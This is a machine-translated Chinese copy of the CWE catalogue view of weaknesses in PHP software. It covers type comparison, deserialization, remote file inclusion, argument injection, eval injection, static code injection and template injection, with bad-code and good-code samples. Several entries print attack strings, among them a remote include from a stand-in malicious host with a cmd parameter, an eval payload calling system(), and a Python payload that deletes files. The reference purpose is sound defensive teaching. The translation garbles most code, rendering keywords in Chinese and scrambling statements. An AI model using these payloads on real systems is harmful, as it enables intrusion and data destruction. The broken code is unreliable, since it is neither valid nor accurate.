CWE观点:用PHP编写的软件的弱点
视图组件cwe - 1024:比较不兼容的类型
视图定制的信息:
在严格的语言类型,但支持铸造/转换,如C或c++程序员可能假设铸造一个实体到另一个实体类型一样将确保将正确地进行比较,但这无法保证。没有严格的语言类型,比如PHP或JavaScript,可能有隐含的铸件/转换类型的程序员不知道,导致意想不到的结果;例如,字符串“123”可能会被转换为数字类型。看到的例子。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 JavaScript患病率(待定) PHP患病率(待定) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
cwe - 595:比较对象引用,而不是对象的内容
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
相关的视图”方案及质量的措施(2020)”(CWE-1305)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Java患病率(待定) JavaScript患病率(待定) PHP患病率(待定) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 在下面的示例中,两个Java字符串对象声明和初始化字符串值。一个if语句用于确定字符串是等价的。
(坏的代码)
例如语言:Java
字符串str1 =新的字符串(“Hello”);
字符串str2 =新的字符串(“Hello”); 如果(str1 = = str2) {
system . out。println (“str1 = = str2”); }然而,如果语句将不会执行字符串比较使用“= =”操作符。对于Java对象,例如字符串对象,“= =”操作符比较对象引用,而不是对象值。在上面的两个字符串对象包含相同的字符串值,他们指的是不同的对象引用,所以system . out。println语句不会被执行。比较对象的值,可以修改前面的代码使用equals方法:
(好的代码)
如果(str1.equals (str2)) {
system . out。println (“str1等于str2”); }示例2 在以下Java示例中,两个BankAccount对象比较isSameAccount方法使用= =操作符。
(坏的代码)
例如语言:Java
公共布尔isSameAccount (BankAccount accountA, BankAccount accountB) {
返回accountA = = accountB; }使用= =操作符比较对象可能会产生错误或欺骗的结果通过比较对象引用,而不是价值。=()方法应该被用来确保正确的结果或对象应包含一个成员变量,惟一地标识对象。 下面的示例展示了使用equals()方法比较BankAccount对象和下一个示例使用一个类get方法来检索银行帐号,惟一地标识BankAccount对象比较对象。
(好的代码)
例如语言:Java
公共布尔isSameAccount (BankAccount accountA, BankAccount accountB) {
返回accountA.equals (accountB); }
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 502:反序列化不可信的数据
视图定制的信息:
序列化对象往往是方便沟通或保存以备后用。然而,反序列化数据或代码往往可修改,无需使用提供的访问器功能如果它不使用加密来保护自己。此外,任何加密仍将客户端安全——这是一个危险的安全假设。 不可信的数据不能被信任是格式良好的。 当开发人员的地方没有限制工具链,或一系列的实例和方法调用可以self-execute反序列化过程中(即。对象返回给调用者之前),攻击者利用他们有时可能执行未经授权的操作,生成一个壳。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Java患病率(待定) Ruby患病率(待定) PHP患病率(待定) Python患病率(待定) JavaScript患病率(待定) 技术 类:ICS /不(通常是普遍的)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 这个代码片段反序列化一个对象从一个文件中,并使用它作为一个UI按钮:
(坏的代码)
例如语言:Java
尝试{
文件文件=新文件(“object.obj”); }ObjectInputStream =新ObjectInputStream(新FileInputStream(文件); javax.swing。JButton button = (javax.swing.JButton) in.readObject(); in.close (); 这段代码不会尝试验证文件的源或内容之前反序列化。攻击者可以将目标文件替换为一个文件,其中包含任意恶意代码时将执行按钮被按下。 减轻,明确定义最终readObject()来防止反序列化。这方面的一个例子:
(好的代码)
例如语言:Java
私人最终无效readObject (ObjectInputStream)抛出io。IOException {
把新的io。我OException("Cannot be deserialized"); } 示例2 在Python中,泡菜库处理序列化和反序列化过程。在这个例子中来自[ref - 467),代码接收并解析数据,然后试图验证一个用户基于验证令牌。
(坏的代码)
例如语言:Python
尝试{
类ExampleProtocol (protocol.Protocol):
def dataReceived(自我、数据): #代码会在这里将解析传入的数据 #接收头后,调用confirmAuth()进行身份验证 def confirmAuth(自我,标题): 试一试: 令牌= cPickle.loads (base64.b64decode(头[' AuthToken '])) 如果不是check_hmac(令牌“签名”,令牌(的数据),getSecretKey ()): 提高AuthFail 自我。secure_data =令牌(的数据) 除了: 提高AuthFail 不幸的是,代码不验证传入的数据是合法的。攻击者可以构造一个非法的、序列化对象“AuthToken”实例化一个Python的子流程执行任意命令。例如,攻击者可以构造一个泡菜,利用Python的子过程模块,生成新的流程和包括一个数量的参数为各种用途。自泡菜允许对象定义的过程如何应该未酸洗的,攻击者可以直接unpickle过程调用Popen /bin/sh.子过程模块和执行
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 627:动态变量的评估
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP患病率(待定) Perl患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 624:可执行正则表达式错误
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
相关的视图”方案及质量的措施(2020)”(CWE-1305)
相关的视图”方案及数据保护措施”(cwe - 1340)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP患病率(待定) Perl患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 454:可信的外部初始化变量或数据存储
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP(有时流行) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 在Java在下面的例子中,一个系统属性控制应用程序的调试级别。
(坏的代码)
例如语言:Java
int debugLevel = Integer.getInteger (com.domain.application.debugLevel) .intValue ();
如果攻击者可以修改系统属性,那么它有可能诱导应用到泄露敏感信息通过更多的调试信息是印刷/公开为调试水平增加。 示例2 这段代码检查的HTTP POST请求调试开关,并使调试模式如果开关设置。
(坏的代码)
例如语言:PHP
美元debugEnabled = false;
if ($ _POST[“调试”]= = " true ") {
美元debugEnabled = true; }/…… 函数登录(用户名、密码美元){
如果(debugEnabled美元){ }
回声“调试激活”; }phpinfo (); 美元isAdmin = True; 返回True; 任何用户都可以激活调试模式,获得管理员权限。攻击者也可以使用打印的信息phpinfo()函数,进一步利用系统。。 这个示例还展示信息暴露通过调试信息(cwe - 215)
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 211:外部生成包含敏感信息的错误消息
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP(通常是普遍的) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 209:代包含敏感信息的错误消息
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP(通常是普遍的) Java(通常是普遍的) 类:不是特定于语言的患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 在下面的例子中,敏感信息可能是印刷根据异常发生。
(坏的代码)
例如语言:Java
尝试{
/…… }捕获(异常e) {
System.out.println (e); }如果SQL处理相关异常捕获,然后输出可能包含敏感信息,比如SQL查询结构或私人信息。如果这个输出重定向到一个web用户,这可能是一个安全问题。 示例2 这段代码试图打开一个数据库连接,并打印任何发生的异常。
(坏的代码)
例如语言:PHP
尝试{
openDbConnection (); }/ /打印异常消息,包括异常消息和配置文件的位置 捕获(异常$ e) {
呼应了例外:,$ e - > getMessage (), ' \ n '; }回声,检查凭证在配置文件:“Mysql_config_location美元,' \ n '; 如果发生异常,则打印消息暴露的位置配置文件脚本使用。攻击者可以利用这些信息来目标配置文件(可能利用路径遍历的弱点)。如果文件可以读取,攻击者可以获得凭证访问数据库。攻击者还可以用恶意替换文件,导致应用程序使用一个任意的数据库。 示例3 下面的代码将生成一个错误消息,泄漏的配置文件的完整路径名。 如果这段代码运行在一个服务器上,如一个web应用程序,那么请求人应该不知道什么是配置目录的完整路径名。通过提交一个用户名,不产生一个文件存在,美元攻击者可以得到这个路径名。它可以被用来利用路径遍历或符号链接后可能存在的问题,在应用程序。 示例4 在下面的示例中,该方法getUserBankAccount从数据库检索一个银行帐户对象使用提供的用户名和账号来查询数据库。如果一个SQLException提出查询数据库时,将创建一个错误消息输出到日志文件。
(坏的代码)
例如语言:Java
公共BankAccount getUserBankAccount(用户名的字符串,字符串accountNumber) {
BankAccount userAccount =零;
字符串查询=零; 尝试{
如果(isAuthorizedUser(用户名)){ }捕捉(SQLException ex) {
查询= " SELECT *从账户所有者= " }+用户名+”和accountID = " + accountNumber; DatabaseManager dbManager = new DatabaseManager (); 连接康涅狄格州= dbManager.getConnection (); =声明支撑conn.createStatement (); ResultSet queryResult = stmt.executeQuery(查询); userAccount = (BankAccount) queryResult.getObject (accountNumber);
字符串logMessage = "无法从数据库检索帐户信息,\ nquery:”+查询; }Logger.getLogger (BankManager.class.getName ()) . log(水平。严重,logMessage、交货); 返回userAccount; 创建的错误信息包括数据库查询的信息可能包含敏感信息的数据库或查询逻辑。在本例中,错误消息将公开数据库中使用的表名和列名。这些数据可以用来简化其他的攻击,如SQL注入(cwe - 89)直接访问数据库。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 98:不当控制包括/需要声明在PHP程序的文件名(PHP远程文件包含)
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 下面的代码,受害者。php,试图包括函数包含在一个单独的服务器上的php页面。它构建文件的路径通过使用提供的“module_name”参数和附加字符串' /功能。php的。
(坏的代码)
例如语言:PHP
$ dir = $ _GET [' module_name '];
包括($ dir。“/ function.php”); 上面的代码的问题是,美元的价值dir并不以任何方式限制,和恶意用户可以操作“module_name”参数力包含一个未预料到的文件。例如,攻击者可以请求上面的PHP页面(example.php)的module_name“http://malicious.example.com”通过使用以下请求字符串:
(攻击代码)
victim.php ? module_name = http://malicious.example.com
在接收该请求,代码将“module_name”为“http://malicious.example.com”的值,并将试图包括http://malicious.example.com/function.php,以及任何它包含恶意代码。 为了这个例子中,假设的恶意版本功能。php的样子如下:
(坏的代码)
系统($ _GET [' cmd ']);
攻击者可以更进一步在我们的例子中,并提供一个请求字符串如下:
(攻击代码)
victim.php ? module_name = http://malicious.example.com&cmd=/bin/ls%20-l
将尝试包括恶意的代码的功能。php文件从远程站点。反过来,这个文件执行命令中指定的cmd从查询字符串参数。最终的结果是由tvictim企图。php执行潜在的恶意命令,在这种情况下:
(攻击代码)
/bin/ls - l
注意,上面的PHP示例可以减轻通过设置allow_url_fopen为false,尽管这不会完全保护的代码。看到潜在的移植。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
的关系 这是经常的功能性结果其他弱点。通常是多因素与其他因素(例如女仆),尽管并不是所有涉及assumed-immutable数据包含bug。直接请求弱点经常扮演一个角色。 可以在当地包容问题重叠目录遍历。
cwe - 88:不当中和一个命令的参数分隔符(“参数注入”)
视图定制的信息:
在创建命令使用插值成一个字符串时,开发人员可能认为只有参数/选项,指定将被处理。这种假设可能更强当程序员编码的命令的方式防止单独的命令被恶意提供,例如在shell元字符的情况下。构建命令时,开发人员可以使用空格或其他所需分隔符来分隔参数,当命令。然而,如果攻击者可以提供一个不受信任的输入包含argument-separating分隔符,然后生成的命令将会有更多的参数比开发人员的意图。攻击者可能能够改变命令的行为。根据所支持的功能无关的参数,这可能的安全相关的后果。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
相关视图”架构概念”(cwe - 1008)
相关的视图”方案及质量的措施(2020)”(CWE-1305)
相关的视图”方案及数据保护措施”(cwe - 1340)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 类:不是特定于语言的患病率(待定) PHP(通常是普遍的)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 考虑以下项目。它打算执行“ls - l”输入文件名。validate_name()子例程执行验证的输入以确保只允许字母数字和“-”字符,这避免了路径遍历(CWE-22)和操作系统命令注入(cwe - 78)的弱点。只有文件名“abc”或“d-e-f”旨在允许。
(坏的代码)
例如语言:Perl
我的$ arg = GetArgument(“文件名”);
do_listing (arg); 子do_listing {
我的(帧)= @ _; }如果(!validate_name(帧)美元){
打印”错误:名称格式不正确! \ n”; }返回; #构建命令 我的$ cmd =“美元/ bin / ls - l帧”; 系统(cmd); 子validate_name {
我(名字)美元= @ _; }如果($ name = ~ / ^ \ w \[-] + /美元){
返回(1); }其他{
返回(0); }然而,validate_name()允许文件名,用“-”开始。敌人可以供应一个文件名“基于“增大化现实”技术”,产生“ls - l ar”命令(cwe - 88),从而得到一个完整的清单整个递归目录及其所有子目录的。 有几个可能的缓解措施的弱点。一是重构代码完全避免使用系统(),而不是依赖内部函数。 另一个选择可能是添加一个”——“参数ls命令,如“ls - l——”,所以,任何剩余的参数作为文件名,导致任何领先的“-”被视为一个文件名的一部分而不是另一个选择。 另一个修复可能是改变正则表达式中使用validate_name迫使文件名的第一个字符是字母或数字,如:
(好的代码)
例如语言:Perl
如果($ name = ~ / ^ \ w (\ w \] +美元/)……
示例2 cve - 2016 - 10033 / (ref - 1249)提供了一个有用的真实世界的例子在PHPMailer弱点。 程序调用PHP的邮件()函数来组合和发送邮件。第五个参数邮件()是一组参数。该计划打算提供一个“-fSENDER”参数,发送者将一个格式良好的电子邮件地址。程序已验证电子邮件地址之前调用邮件(),但有一个很大的灵活性在什么是一个格式良好的电子邮件地址,包括空格。与一些额外的允许字符执行一些逃离,敌人可以指定一个额外的“o”参数(清单一个输出文件)和“- x”参数(给一个程序执行)。这种利用额外的细节是在ref - 1250]。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 95:不当中和指令的动态评估代码(Eval注入)
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Java患病率(待定) JavaScript患病率(待定) Python患病率(待定) Perl患病率(待定) PHP患病率(待定) Ruby患病率(待定) 类:解释患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 edit-config。pl:这CGI脚本用于修改配置文件中的设置。
(坏的代码)
例如语言:Perl
使用CGI qw(:标准);
子config_file_add_key {
我的(关键帧,美元,美元arg) = @ _;
#代码添加一个字段/文件的关键就在这里 子config_file_set_key {
我的(关键帧,美元,美元arg) = @ _;
#代码设置特定文件的关键就在这里 子config_file_delete_key {
我的(关键帧,美元,美元arg) = @ _;
#代码从一个特定的文件删除键就在这里 子handleConfigAction {
我的(帧,行动美元)= @ _;
我美元关键=参数(关键); 我$ val =参数(“val”); #这是高效的代码,特别是如果你必须调用 #任何几十种不同的功能之一! 我的代码=美元”config_file_ action_key美元(美元\帧美元\键,美元\ val);”; 美元eval(代码); $ configfile =“/ home / cwe / config.txt”; 打印头; 如果(定义(参数('行动'))){
handleConfigAction (configfile美元,参数('行动')); }其他{
打印”指定的任何行动! \ n”; }脚本打算采取行动的参数和调用多种功能的基于该参数的值——config_file_add_key (), config_file_set_key(),或config_file_delete_key ()。它可以单独设置一个条件来调用每个函数,但eval()是一个强大的方法使用更少的代码做同样的事情,尤其是当涉及大量的函数或变量。不幸的是,在这种情况下,攻击者可以提供其他值在操作参数,如:
(攻击代码)
中(“,”、“);系统(“/ bin / ls”);
这将产生以下字符串handleConfigAction ():
(结果)
config_file_add_key (”、“,”);系统(“/ bin / ls”);
可以添加任意Perl代码后,攻击者已经“关闭”建设的原始的函数调用,为了防止解析错误造成恶意eval()失败之前攻击者的有效载荷被激活。这个特定的操作系统()调用会失败后,因为“_key(\ $帧\键,美元\ $ val)”部分的字符串会导致一个错误,但这是无关紧要的攻击,因为负载已经激活。 示例2 这个简单的脚本要求用户提供一个数字列表作为输入,并将它们添加在一起。
(坏的代码)
例如语言:Python
def main ():
和= 0 main ()数量= eval(输入("输入一个空格分隔的数字列表:")) num的数字:
=和+ num求和 打印(f”之和{数字}={和}")eval()函数可以将用户提供的列表,并将它转换成一个Python列表对象,因此允许程序员使用列表理解方法来处理数据。但是,如果代码提供给eval()函数,它将执行代码。例如,恶意用户可以提供以下字符串:
(攻击代码)
__import__(“子流程”)。getoutput (rm - r *)
这将删除当前目录中的所有文件。由于这个原因,不建议使用eval()不可信的输入。 来完成这个不使用eval()是应用整数转换输入在一个try /除了块。如果用户提供的输入不是数字,这将提高ValueError。通过避免eval(),没有机会执行输入字符串的代码。
(好的代码)
例如语言:Python
def main ():
和= 0 main ()数量=输入(输入一个空格分隔的数字列表:)。分割(" ") 试一试:
num的数字: 除了ValueError:
=和+ num求和 打印(f”之和{数字}={和}")
print(“错误:无效输入”)
另一种选择是使用ast.literal_eval()函数从Python的ast模块。这个函数只考虑Python文字作为有效数据类型和不会执行任何代码中包含用户输入。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
cwe - 96:不当中和静态保存代码的指令(静态代码注入)
视图定制的信息:
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
相关观点“软件开发”(cwe - 699)
相关视图”架构概念”(cwe - 1008)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 PHP患病率(待定) Perl患病率(待定) 类:解释患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示例1 这个例子试图写用户消息到消息文件,允许用户查看它们。
(坏的代码)
例如语言:PHP
$ MessageFile =“messages.out”;
如果($ _GET[“行动”= =“NewMessage”) {
$ name = $ _GET [“name”); }美元消息= $ _GET(“信息”); $处理= fopen (MessageFile美元," + "); 写入文件($处理,”< / b > < b > $ name说美元消息<人力资源> \ n”); 文件关闭($处理); 回声”消息得救了! < p > \ n”; else if ($ _GET[“行动”= =“ViewMessages”) {
包括(MessageFile美元); }而程序员MessageFile只包括数据计划,攻击者可以提供信息,如:
(攻击代码)
name = h4x0r
消息= % 3 c ? php % 20系统(% 22 / bin / ls % 20-l % 22); ? % 3 e 将解码后:
(攻击代码)
< ? phpsystem("/bin/ls -l");?>
程序员认为他们只是包括常规数据文件的内容,但PHP解析和执行代码。现在,这段代码执行任何时候人消息的看法。 注意,XSS (cwe - 79在这种情况下)也是可能的。
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
的关系
(见“HTML注入”cwe - 79:XSS)可以被认为是一个例子,但是代码注入和执行在客户端,服务器端。服务器端包含(SSI)静态代码直喷技术的一个例子。
cwe - 1336:不当中和特殊元素中使用模板引擎
视图定制的信息:
许多web应用程序使用模板引擎,允许开发人员将externally-influenced值插入自由文本或信息来生成一个完整的web页面,文件,信息,等等。这些引擎包括树枝、Jinja2,哈巴狗,Java Server Pages, FreeMarker,速度,ColdFusion,自作聪明的家伙,和许多其他人——包括PHP本身。一些CMS(内容管理系统)也使用模板。 模板引擎通常有自己的自定义命令或表达式语言。如果攻击者可以影响输入模板前处理,那么攻击者可以调用任意表达式,即执行注入攻击。例如,在一些模板语言,攻击者可以将表达式“{{7 * 7}}”和确定输出返回“49”。语法因语言而异。 在某些情况下,xss攻击可以工作,可以模糊的根本原因如果开发者不密切调查错误的根源。 模板引擎可以使用在服务器或客户端,所以“双方”可能受到注入的影响。攻击或受影响的技术的机制可能不同,但错误从根本上是相同的。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。
语言 Java患病率(待定) PHP患病率(待定) Python患病率(待定) JavaScript患病率(待定) 类:解释患病率(待定) 操作系统 类:不使用患病率(待定) 技术 类:客户端服务器患病率(待定)
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
维护
之间的相互关系和差异cwe - 917和cwe - 1336需要进一步澄清。
cwe - 915:不当控制动态确定对象属性的修改
视图定制的信息:
